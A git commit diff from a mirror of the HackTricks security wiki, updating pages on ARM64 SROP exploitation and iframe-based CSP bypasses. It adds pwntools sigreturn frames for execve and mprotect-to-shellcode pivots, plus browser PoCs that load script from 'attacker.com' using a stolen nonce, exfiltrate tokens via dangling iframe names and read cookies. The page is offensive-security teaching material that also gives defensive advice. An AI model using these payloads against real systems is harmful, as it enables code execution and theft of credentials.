mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks
This commit is contained in:
commit
47ca570e97
@ -1,4 +1,4 @@
|
|||||||
# SROP - ARM64
|
# {{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
@ -94,7 +94,7 @@ binsh = next(libc.search(b"/bin/sh"))
|
|||||||
stack_offset = 72
|
stack_offset = 72
|
||||||
|
|
||||||
sigreturn = 0x00000000004006e0 # Call to sig
|
sigreturn = 0x00000000004006e0 # Call to sig
|
||||||
svc_call = 0x00000000004006e4 # svc #0x0
|
svc_call = 0x00000000004006e4 # svc #0x0
|
||||||
|
|
||||||
frame = SigreturnFrame()
|
frame = SigreturnFrame()
|
||||||
frame.x8 = 0xdd # syscall number for execve
|
frame.x8 = 0xdd # syscall number for execve
|
||||||
@ -160,7 +160,7 @@ binsh = next(libc.search(b"/bin/sh"))
|
|||||||
stack_offset = 72
|
stack_offset = 72
|
||||||
|
|
||||||
sigreturn = 0x00000000004006e0 # Call to sig
|
sigreturn = 0x00000000004006e0 # Call to sig
|
||||||
svc_call = 0x00000000004006e4 # svc #0x0
|
svc_call = 0x00000000004006e4 # svc #0x0
|
||||||
|
|
||||||
frame = SigreturnFrame()
|
frame = SigreturnFrame()
|
||||||
frame.x8 = 0xdd # syscall number for execve
|
frame.x8 = 0xdd # syscall number for execve
|
||||||
@ -189,7 +189,57 @@ And to bypass the address of `/bin/sh` you could create several env variables po
|
|||||||
../../common-binary-protections-and-bypasses/aslr/
|
../../common-binary-protections-and-bypasses/aslr/
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Finding `sigreturn` gadgets automatically (2023-2025)
|
||||||
|
|
||||||
|
On modern distributions the `sigreturn` trampoline is still exported by the **vDSO** page but the exact offset may vary across kernel versions and build flags such as BTI (`+branch-protection`) or PAC. Automating its discovery prevents hard-coding offsets:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# With ROPgadget ≥ 7.4
|
||||||
|
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn
|
||||||
|
|
||||||
|
# With rp++ ≥ 1.0.9 (arm64 support)
|
||||||
|
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigreturn
|
||||||
|
```
|
||||||
|
|
||||||
|
Both tools understand **AArch64** encodings and will list candidate `mov x8, 0x8b ; svc #0` sequences that can be used as the *SROP gadget*.
|
||||||
|
|
||||||
|
> Note: When binaries are compiled with **BTI** the first instruction of every valid indirect branch target is `bti c`. `sigreturn` trampolines placed by the linker already include the correct BTI landing pad so the gadget remains usable from unprivileged code.
|
||||||
|
|
||||||
|
## Chaining SROP with ROP (pivot via `mprotect`)
|
||||||
|
|
||||||
|
`rt_sigreturn` lets us control *all* general-purpose registers and `pstate`. A common pattern on x86 is: 1) use SROP to call `mprotect`, 2) pivot to a new executable stack containing shell-code. The exact same idea works on ARM64:
|
||||||
|
|
||||||
|
```python
|
||||||
|
frame = SigreturnFrame()
|
||||||
|
frame.x8 = constants.SYS_mprotect # 226
|
||||||
|
frame.x0 = 0x400000 # page-aligned stack address
|
||||||
|
frame.x1 = 0x2000 # size
|
||||||
|
frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC
|
||||||
|
frame.sp = 0x400000 + 0x100 # new pivot
|
||||||
|
frame.pc = svc_call # will re-enter kernel
|
||||||
|
```
|
||||||
|
|
||||||
|
After sending the frame you can send a second stage containing raw shell-code at `0x400000+0x100`. Because **AArch64** uses *PC-relative* addressing this is often more convenient than building large ROP chains.
|
||||||
|
|
||||||
|
## Kernel validation, PAC & Shadow-Stacks
|
||||||
|
|
||||||
|
Linux 5.16 introduced stricter validation of userspace signal frames (commit `36f5a6c73096`). The kernel now checks:
|
||||||
|
|
||||||
|
* `uc_flags` must contain `UC_FP_XSTATE` when `extra_context` is present.
|
||||||
|
* The reserved word in `struct rt_sigframe` must be zero.
|
||||||
|
* Every pointer in the *extra_context* record is aligned and points inside the user address space.
|
||||||
|
|
||||||
|
`pwntools>=4.10` crafts compliant frames automatically, but if you build them manually make sure to zero‐initialize *reserved* and omit the SVE record unless you really need it—otherwise `rt_sigreturn` will deliver `SIGSEGV` instead of returning.
|
||||||
|
|
||||||
|
Starting with mainstream Android 14 and Fedora 38, userland is compiled with **PAC** (*Pointer Authentication*) and **BTI** enabled by default (`-mbranch-protection=standard`). *SROP* itself is unaffected because the kernel overwrites `PC` directly from the crafted frame, bypassing the authenticated LR saved on the stack; however, any **subsequent ROP chain** that performs indirect branches must jump to BTI-enabled instructions or PACed addresses. Keep that in mind when choosing gadgets.
|
||||||
|
|
||||||
|
Shadow-Call-Stacks introduced in ARMv8.9 (and already enabled on ChromeOS 1.27+) are a compiler-level mitigation and *do not* interfere with SROP because no return instructions are executed—the flow of control is transferred by the kernel.
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [Linux arm64 signal handling documentation](https://docs.kernel.org/arch/arm64/signal.html)
|
||||||
|
* [LWN – "AArch64 branch protection comes to GCC and glibc" (2023)](https://lwn.net/Articles/915041/)
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@ -64,7 +64,7 @@ Therefore it’s possible to bypass the CSP of a page with:
|
|||||||
<head>
|
<head>
|
||||||
<meta
|
<meta
|
||||||
http-equiv="Content-Security-Policy"
|
http-equiv="Content-Security-Policy"
|
||||||
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
|
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
|
||||||
</head>
|
</head>
|
||||||
<script>
|
<script>
|
||||||
var secret = "31337s3cr37t"
|
var secret = "31337s3cr37t"
|
||||||
@ -109,7 +109,43 @@ if __name__ == "__main__":
|
|||||||
app.run()
|
app.run()
|
||||||
```
|
```
|
||||||
|
|
||||||
### Other Payloads found on the wild <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
|
#### New (2023-2025) CSP bypass techniques with iframes
|
||||||
|
|
||||||
|
The research community continues to discover creative ways of abusing iframes to defeat restrictive policies. Below you can find the most notable techniques published during the last few years:
|
||||||
|
|
||||||
|
* **Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023)** – When an application reflects HTML but a strong CSP blocks script execution, you can still leak sensitive tokens by injecting a *dangling* `<iframe name>` attribute. Once the partial markup is parsed, the attacker script running in a separate origin navigates the frame to `about:blank` and reads `window.name`, which now contains everything up to the next quote character (for example a CSRF token). Because no JavaScript runs in the victim context, the attack usually evades `script-src 'none'`. A minimal PoC is:
|
||||||
|
|
||||||
|
```html
|
||||||
|
<!-- Injection point just before a sensitive <script> -->
|
||||||
|
<iframe name="//attacker.com/?"> <!-- attribute intentionally left open -->
|
||||||
|
````
|
||||||
|
```javascript
|
||||||
|
// attacker.com frame
|
||||||
|
const victim = window.frames[0];
|
||||||
|
victim.location = 'about:blank';
|
||||||
|
console.log(victim.name); // → leaked value
|
||||||
|
```
|
||||||
|
|
||||||
|
* **Nonce theft via same-origin iframe (2024)** – CSP nonces are not removed from the DOM; they are merely hidden in DevTools. If an attacker can inject a *same-origin* iframe (for example by uploading HTML to the site) the child frame can simply query `document.querySelector('[nonce]').nonce` and create new `<script nonce>` nodes that satisfy the policy, giving full JavaScript execution despite `strict-dynamic`. The following gadget escalates a markup injection into XSS:
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
const n = top.document.querySelector('[nonce]').nonce;
|
||||||
|
const s = top.document.createElement('script');
|
||||||
|
s.src = '//attacker.com/pwn.js';
|
||||||
|
s.nonce = n;
|
||||||
|
top.document.body.appendChild(s);
|
||||||
|
```
|
||||||
|
|
||||||
|
* **Form-action hijacking (PortSwigger 2024)** – A page that omits the `form-action` directive can have its login form *re-targeted* from an injected iframe or inline HTML so that password managers auto-fill and submit credentials to an external domain, even when `script-src 'none'` is present. Always complement `default-src` with `form-action`!
|
||||||
|
|
||||||
|
**Defensive notes (quick checklist)**
|
||||||
|
|
||||||
|
1. Always send *all* CSP directives that control secondary contexts (`form-action`, `frame-src`, `child-src`, `object-src`, etc.).
|
||||||
|
2. Do not rely on nonces being secret—use `strict-dynamic` **and** eliminate injection points.
|
||||||
|
3. When you must embed untrusted documents use `sandbox="allow-scripts allow-same-origin"` **very carefully** (or without `allow-same-origin` if you only need script execution isolation).
|
||||||
|
4. Consider a defense-in-depth COOP+COEP deployment; the new `<iframe credentialless>` attribute (§ below) lets you do so without breaking third-party embeds.
|
||||||
|
|
||||||
|
### Other Payloads found on the wild <a href="#other_payloads_found_on_the_wild_64" id="#other_payloads_found_on_the_wild_64"></a>
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<!-- This one requires the data: scheme to be allowed -->
|
<!-- This one requires the data: scheme to be allowed -->
|
||||||
@ -138,21 +174,29 @@ When utilized, the `sandbox` attribute imposes several limitations:
|
|||||||
- Navigation of the content's top-level browsing context by the content itself is prevented.
|
- Navigation of the content's top-level browsing context by the content itself is prevented.
|
||||||
- Features that are triggered automatically, like video playback or auto-focusing of form controls, are blocked.
|
- Features that are triggered automatically, like video playback or auto-focusing of form controls, are blocked.
|
||||||
|
|
||||||
|
Tip: Modern browsers support granular flags such as `allow-scripts`, `allow-same-origin`, `allow-top-navigation-by-user-activation`, `allow-downloads-without-user-activation`, etc. Combine them to grant only the minimum capabilities required by the embedded application.
|
||||||
|
|
||||||
The attribute's value can be left empty (`sandbox=""`) to apply all the aforementioned restrictions. Alternatively, it can be set to a space-separated list of specific values that exempt the iframe from certain restrictions.
|
The attribute's value can be left empty (`sandbox=""`) to apply all the aforementioned restrictions. Alternatively, it can be set to a space-separated list of specific values that exempt the iframe from certain restrictions.
|
||||||
|
|
||||||
```html
|
```html
|
||||||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
|
||||||
|
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
|
||||||
```
|
```
|
||||||
|
|
||||||
### Credentialless iframes
|
### Credentialless iframes
|
||||||
|
|
||||||
As explained in [this article](https://blog.slonser.info/posts/make-self-xss-great-again/), the `credentialless` flag in an iframe is used to load a page inside an iframe without sending credentials in the request while maintaining the same origin policy (SOP) of the loaded page in the iframe.
|
As explained in [this article](https://blog.slonser.info/posts/make-self-xss-great-again/), the `credentialless` flag in an iframe is used to load a page inside an iframe without sending credentials in the request while maintaining the same origin policy (SOP) of the loaded page in the iframe.
|
||||||
|
|
||||||
This allows the iframe to access sensitive information from another iframe in the same SOP loaded in the parent page:
|
Since **Chrome 110 (February 2023) the feature is enabled by default** and the spec is being standardized across browsers under the name *anonymous iframe*. MDN describes it as: “a mechanism to load third-party iframes in a brand-new, ephemeral storage partition so that no cookies, localStorage or IndexedDB are shared with the real origin”. Consequences for attackers and defenders:
|
||||||
|
|
||||||
|
* Scripts in different credentialless iframes **still share the same top-level origin** and can freely interact via the DOM, making multi-iframe self-XSS attacks feasible (see PoC below).
|
||||||
|
* Because the network is **credential-stripped**, any request inside the iframe effectively behaves as an unauthenticated session – CSRF protected endpoints usually fail, but public pages leakable via DOM are still in scope.
|
||||||
|
* Pop-ups spawned from a credentialless iframe get an implicit `rel="noopener"`, breaking some OAuth flows.
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
window.top[1].document.body.innerHTML = 'Hi from credentialless';
|
// PoC: two same-origin credentialless iframes stealing cookies set by a third
|
||||||
alert(window.top[1].document.cookie);
|
window.top[1].document.cookie = 'foo=bar'; // write
|
||||||
|
alert(window.top[2].document.cookie); // read -> foo=bar
|
||||||
```
|
```
|
||||||
|
|
||||||
- Exploit example: Self-XSS + CSRF
|
- Exploit example: Self-XSS + CSRF
|
||||||
@ -219,7 +263,10 @@ Check the following pages:
|
|||||||
../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
|
../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [PortSwigger Research – Using form hijacking to bypass CSP (March 2024)](https://portswigger.net/research/using-form-hijacking-to-bypass-csp)
|
||||||
|
* [Chrome Developers – Iframe credentialless: Easily embed iframes in COEP environments (Feb 2023)](https://developer.chrome.com/blog/iframe-credentialless)
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user